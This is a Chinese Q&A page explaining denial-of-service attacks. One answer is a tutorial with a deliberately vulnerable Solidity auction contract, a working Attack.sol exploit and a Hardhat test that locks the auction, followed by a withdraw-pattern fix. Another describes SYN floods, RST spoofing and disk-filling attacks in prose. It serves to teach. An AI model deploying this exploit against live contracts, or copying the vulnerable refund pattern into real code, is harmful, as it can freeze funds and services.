什么是Dos攻击?

关注者
11
被浏览
58,422

4 个回答

拒绝服务(DOS)攻击是一种旨在使网络、网站或服务失灵、关闭或中断的攻击。本质上,它意味着攻击者以某种方式阻止普通用户访问网络、网站或服务,从而拒绝他们的服务。这是一个非常常见的攻击,我们在web2中也都知道,但今天我们将尝试模仿对智能合约的拒绝服务攻击

加油

智能合约中的 DOS 攻击

会发生什么?

将有两个智能合约 - Good.solAttack.solGood.sol将被用来运行一个样本拍卖,它将有一个功能,当前用户可以通过向Good.sol发送比前一个赢家发送的ETH更高的金额来成为当前拍卖的赢家。赢家被替换后,旧的赢家将被送回他最初发送给合约的钱。

Attack.sol的攻击方式是,在成为当前拍卖的赢家后,即使试图获胜的地址愿意投入更多的ETH,它也不允许其他任何人取代它。因此,Attack.sol将使Game.sol受到DOS攻击,因为在它成为赢家后,它将拒绝任何其他地址成为赢家的能力。

建造

让我们构建一个示例,您可以在其中体验攻击是如何发生的。

  • • 要设置一个Hardhat项目,请打开终端,在一个新的文件夹中执行这些命令
npm init --yes
npm install --save-dev hardhat
  • • 如果你不是在mac上,请做这个额外的步骤,也安装这些库 :)
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
  • • 在你安装Hardhat的同一目录下运行。
npx hardhat
  • • 选择Create a basic sample project
  • • 对已指定的Hardhat Project root按回车键
  • • 如果你想添加一个.gitignore,请按回车键。
  • • 按回车键Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?

现在你有一个准备好的hardhat项目了!

让我们创建拍卖合同,命名为Good.sol,代码如下。

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}

这是一个相当基本的合同,它存储了最后一个最高出价人的地址,以及他们出价的价值。任何人都可以调用setCurrentAuctionPrice并发送比currentAuctionPrice更多的ETH,这将首先尝试将他们的ETH送回给最后的出价人,然后将交易调用者设置为新的最高出价人,并提供他们的ETH值。

现在,在contracts目录下创建一个名为Attack.sol的合同,并编写以下几行代码

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}

这个合约有一个叫做attack()的函数,它只是调用Good合约的setCurrentAuctionPrice。但是,请注意,这个合约没有一个可以接收ETH的fallback()函数。稍后会有更多这方面的内容。

让我们创建一个攻击,使 Good合约变得无法使用。在test文件夹下创建一个名为attack.js的新文件,并在其中添加以下几行代码

const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { ethers, waffle } = require("hardhat");

describe("Attack", function () {
  it("After being declared the winner, Attack.sol should not allow anyone else to become the winner", async function () {
    // Deploy the good contract
    const goodContract = await ethers.getContractFactory("Good");
    const _goodContract = await goodContract.deploy();
    await _goodContract.deployed();
    console.log("Good Contract's Address:", _goodContract.address);

    // Deploy the Attack contract
    const attackContract = await ethers.getContractFactory("Attack");
    const _attackContract = await attackContract.deploy(_goodContract.address);
    await _attackContract.deployed();
    console.log("Attack Contract's Address", _attackContract.address);

    // Now lets attack the good contract
    // Get two addresses
    const [_, addr1, addr2] = await ethers.getSigners();

    // Initially let addr1 become the current winner of the aution
    let tx = await _goodContract.connect(addr1).setCurrentAuctionPrice({
      value: ethers.utils.parseEther("1"),
    });
    await tx.wait();

    // Start the attack and make Attack.sol the current winner of the auction
    tx = await _attackContract.attack({
      value: ethers.utils.parseEther("3.0"),
    });
    await tx.wait();

    // Now lets trying making addr2 the current winner of the auction
    tx = await _goodContract.connect(addr2).setCurrentAuctionPrice({
      value: ethers.utils.parseEther("4"),
    });
    await tx.wait();

    // Now lets check if the current winner is still attack contract
    expect(await _goodContract.currentWinner()).to.equal(
      _attackContract.address
    );
  });
});

请注意Attack.sol是如何将Good.sol引入DOS攻击的。首先addr1通过调用Good.solsetCurrentAuctionPrice成为当前赢家,然后Attack.sol通过攻击函数发送比addr1更多的ETH成为当前赢家。现在,当addr2试图成为新的赢家时,它将无法做到,因为Good.sol合约中的检查(if (sent))验证了只有当ETH被送回给上一个当前赢家时,当前赢家才会被改变。

由于Attack.sol没有接受ETH付款所需的fallback函数,sent总是false,因此当前赢家永远不会被更新,addr2也永远不会成为当前赢家。

要运行测试,在你的终端上指向本级别的根目录,执行以下命令

npx hardhat test

当测试通过后,你会发现Good.sol现在受到了DOS攻击,因为在Attack.sol成为当前的赢家后,在其他地址可以成为当前赢家。

预防

  • • 你可以为以前的赢家创建一个单独的withdraw功能。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address => uint) public balances;
    
    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }
    
    function withdraw() public {
        require(msg.sender != currentWinner, "Current winner cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

希望你喜欢这篇文章❤️,继续吧。

参考

  • • Solidity by example[1]

引用链接

[1] Solidity by example: https://solidity-by-example.org/

DoS:是Denial of Service的简称,即拒绝服务,不是DOS操作系统,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

事实上DOS的攻击方式有很多种,比如下面的常见的:

1. SYN FLOOD

利用服务器的连接缓冲区(Backlog Queue),利用特殊的程序,设置TCP的Header,向服务器端不断地成倍发送只有SYN标志的TCP连接请求。当服务器接收的时候,都认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。

如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。可以持续SYN请求发送,直到缓冲区中都是自己的只有SYN标记的请求。

2. IP欺骗

DoS攻击这种攻击利用RST位来实现。假设现在有一个合法用户(1.1.1.1)已经同服务器建立了正常的连接,攻击者构造攻击的TCP数据,伪装自己的IP为1.1.1.1,并向服务器发送一个带有RST位的TCP数据段。服务器接收到这样的数据后,认为从1.1.1.1发送的连接有错误,就会清空缓冲区中建立好的连接。这时,如果合法用户1.1.1.1再发送合法数据,服务器就已经没有这样的连接了,该用户就必须从新开始建立连接。攻击时,伪造大量的IP地址,向目标发送RST数据,使服务器不对合法用户服务。

3. 带宽DOS攻击

如果连接带宽足够大而服务器又不是很大,可以发送请求,来消耗服务器的缓冲区消耗服务器的带宽。这种攻击就是人多力量大了,配合上SYN一起实施DOS,威力巨大。不过是初级DOS攻击。

4. 自身消耗的DOS攻击

这是一种老式的攻击手法。说老式,是因为老式的系统有这样的自身BUG。比如Win95 (winsock v1), Cisco IOS v.10.x, 和其他过时的系统。这种DOS攻击就是把请求客户端IP和端口弄成主机的IP端口相同,发送给主机。使得主机给自己发送TCP请求和连接。这种主机的漏洞会很快把资源消耗光。直接导致当机。这中伪装对一些身份认证系统还是威胁巨大的。

上面这些实施DOS攻击的手段最主要的就是构造需要的TCP数据,充分利用TCP协议。这些攻击方法都是建立在TCP基础上的。还有其他的DOS攻击手段。

5. 塞满服务器的硬盘

通常,如果服务器可以没有限制地执行写操作,那么都能成为塞满硬盘造成DOS攻击的途径,比如:

发送垃圾邮件。一般公司的服务器可能把邮件服务器和WEB服务器都放在一起。破坏者可以发送大量的垃圾邮件,这些邮件可能都塞在一个邮件队列中或者就是坏邮件队列中,直到邮箱被撑破或者把硬盘塞满。

让日志记录满。入侵者可以构造大量的错误信息发送出来,服务器记录这些错误,可能就造成日志文件非常庞大,甚至会塞满硬盘。同时会让管理员痛苦地面对大量的日志,甚至就不能发现入侵者真正的入侵途径。

为什么?